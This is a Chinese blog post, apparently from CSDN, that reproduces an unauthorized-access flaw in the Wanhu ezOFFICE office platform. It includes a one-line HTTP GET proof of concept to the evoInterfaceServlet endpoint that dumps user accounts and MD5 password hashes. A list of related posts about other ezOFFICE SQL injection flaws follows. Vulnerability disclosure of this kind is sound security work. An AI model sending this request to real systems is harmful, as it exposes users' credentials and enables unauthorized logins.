​【漏洞复现】万户协同办公平台 ezoffice未授权漏洞

最新推荐文章于 2024-06-21 04:46:08 发布
最新推荐文章于 2024-06-21 04:46:08 发布
阅读量34 收藏
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_33530840/article/details/140022967
版权

万户协同办公平台 ezoffice简介

万户ezOFFICE集团版协同平台以工作流程、知识管理、沟通交流和辅助办公四大核心应用

漏洞描述

万户ezOFFICE协同管理平台是一个综合信息基础应用平台。万户ezoffice协同管理平台存在未授权访问漏洞，攻击者可以从evoInterfaceServlet接口获得系统登录账号和用MD5加密的密码。

漏洞poc

GET /defaultroot/evoInterfaceServlet?paramType=user HTTP/1.1
Host:

MD5解密可直接登录应用系统，由于数据敏感，不解密。从互联网上借一张登录成功的图

小C学安全
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
万户 ezOFFICE 协同管理平台 getAutoCode接口SQL注入漏洞复现 [附POC]
薛定谔嘚喵博客
08-04 127
万户 ezOFFICE getAutoCodejsp接口处存在SQL注入漏洞，未经身份验证的远程攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。
万户 ezOFFICE协同管理平台 getAutoCode SQL注入漏洞复现(XVE-2024-18749)
最新发布
0xSec
08-01 708
​万户 ezOFFICEgetAutoCode.jsp 接口处存在SQL注入漏洞，未经身份验证的远程攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。
【漏洞复现】万户ezOFFICE协同管理平台 wf_printnum.jsp SQL注入漏洞
https://blog.echo234.cn/
04-03 613
万户ezOFFICE wf_printnum.jsp接口存在SQL注入漏洞，恶意攻击者可利用此漏洞获取数据库信息，获取服务器控制权限。
【漏洞复现】万户-ezEIP success.aspx 反序列化漏洞
凝聚力安全团队
06-21 502
万户ezEIP success.aspx 存在反序列化漏洞，攻击者可以利用此漏洞执行任意命令，通过该漏洞可以获取服务器权限。万户ezEIP全网站门户管理系统是一个富含可扩展模块的便捷建站系统，系统拥有完善的多用户组权限管理和通用的前台信息内容管理，便于企业在运营网站时的多个管理角色对网站内容的协同管理。
【漏洞复现】万户ezOFFICE协同管理平台 contract_gd.jsp SQL注入漏洞
https://blog.echo234.cn/
03-29 280
万户ezOFFICE协同管理平台是一个综合信息基础应用平台。 万户协同办公平台contract_gd.jsp存在SQL注入漏洞。
【复现】万户ezoffice协同管理平台sql注入漏洞_69
fushuang333的博客
04-09 723
【复现】万户ezoffice协同管理平台sql注入漏洞，攻击者未经授权可以访问数据库中的数据，盗取用户的隐私以及个人信息，造成用户的信息泄露。
【漏洞复现】万户协同办公平台ezoffice SendFileCheckTemplateEdit.jsp接口存在SQL注入漏洞 附POC
失心少年
11-30 693
漏洞链接：http://127.0.0.1/defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！
万户协同办公平台 ezoffice未授权访问漏洞
xiaokp7的博客
09-13 828
万户ezOFFICE协同管理平台是一个综合信息基础应用平台。万户ezoffice协同管理平台存在未授权访问漏洞，攻击者可以从evoInterfaceServlet接口获得系统登录账号和用MD5加密的密码。
万户协同办公平台ezoffice未授权访问漏洞
薛定谔嘚喵博客
08-31 436
万户ezOFFICE协同管理平台是一个综合信息基础应用平台。 万户ezoffice协同管理平台存在未授权访问漏洞，攻击者可以从evoInterfaceServlet接口获得系统登录账号和用MD5加密的密码。
万户协同办公平台ezoffice SendFileCheckTemplateEdit.jsp接口存在SQL注入漏洞 附POC
nnn2188185的博客
11-29 438
微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发万户ezOFFICE集团版协同平台以工作流程、知识管理、沟通交流和辅助办公四大核心应用。
【1day】​万户协同办公平台 ezoffice未授权访问漏洞学习
记录并分享学习安全的知识点..
09-08 684
万户协同办公平台是一款企业级的协同办公软件，旨在帮助企业提高工作效率和协同能力。该平台提供了多种功能模块，包括日程管理、任务管理、文档管理、邮件管理、审批流程等，支持多人协同操作和实时沟通。万户协同办公平台 ezoffice存在未授权访问漏洞，攻击者可以接口获得系统登录账号和用MD5加密的密码，登入后台。
【复现】万户ezoffice协同管理平台 SQL注入漏洞_26
fushuang333的博客
01-23 770
【复现】万户ezoffice协同管理平台 SQL注入漏洞,攻击者未经授权可以访问数据库中的数据，盗取用户的隐私以及个人信息，造成用户的信息泄露。
万户协同办公平台未授权访问漏洞复现
08-24 786
万户ezOFFICE协同管理平台涵盖门户自定义平台、信息知识平台管理、系统管理平台功能，它以工作流引擎为底层服务，以通讯沟通平台为交流手段，以门户自定义平台为信息推送显示平台，为用户提供集成的协同工作环境。
万户 ezOFFICE ezflow_gd.jsp SQL注入漏洞复现
0xSec
01-16 644
​ 万户 ezOFFICEezflow_gd.jsp 存在SQL注入漏洞。由于'DocumentID'参数缺乏过滤，允许攻击者利用漏洞获取数据库敏感信息。
万户 ezOFFICE DocumentEditExcel.jsp SQL注入漏洞
0xSec
01-31 666
​万户 ezOFFICEDocumentEditExcel.jsp接口存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。
万户 ezOFFICE SendFileCheckTemplateEdit.jsp SQL注入漏洞
0xSec
01-30 295
​万户 ezOFFICESendFileCheckTemplateEdit.jsp接口存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。
漏洞复现-万户ezOFFICE系列
aming小老弟
03-12 1382
万户OA[+]万户协同办公平台 ezoffice存在未授权访问漏洞wanhu_office|app=“万户ezOFFICE协同管理平台”万户ezEIP。
万户 ezOFFICE contract_gd.jsp SQL注入漏洞复现
qq_39894062的博客
03-29 379
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。加入星球请扫描下方二维码，更多精彩，敬请期待！
万户 ezoffice 文件上传漏洞复现
12-17
万户ezoffice是一个办公软件，用于处理各种办公文档。文件上传漏洞是指系统存在一个安全漏洞，允许攻击者在上传文件时注入恶意代码或者上传非法文件到服务器中。这个问题的产生可能是开发过程中没有充分考虑安全性，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值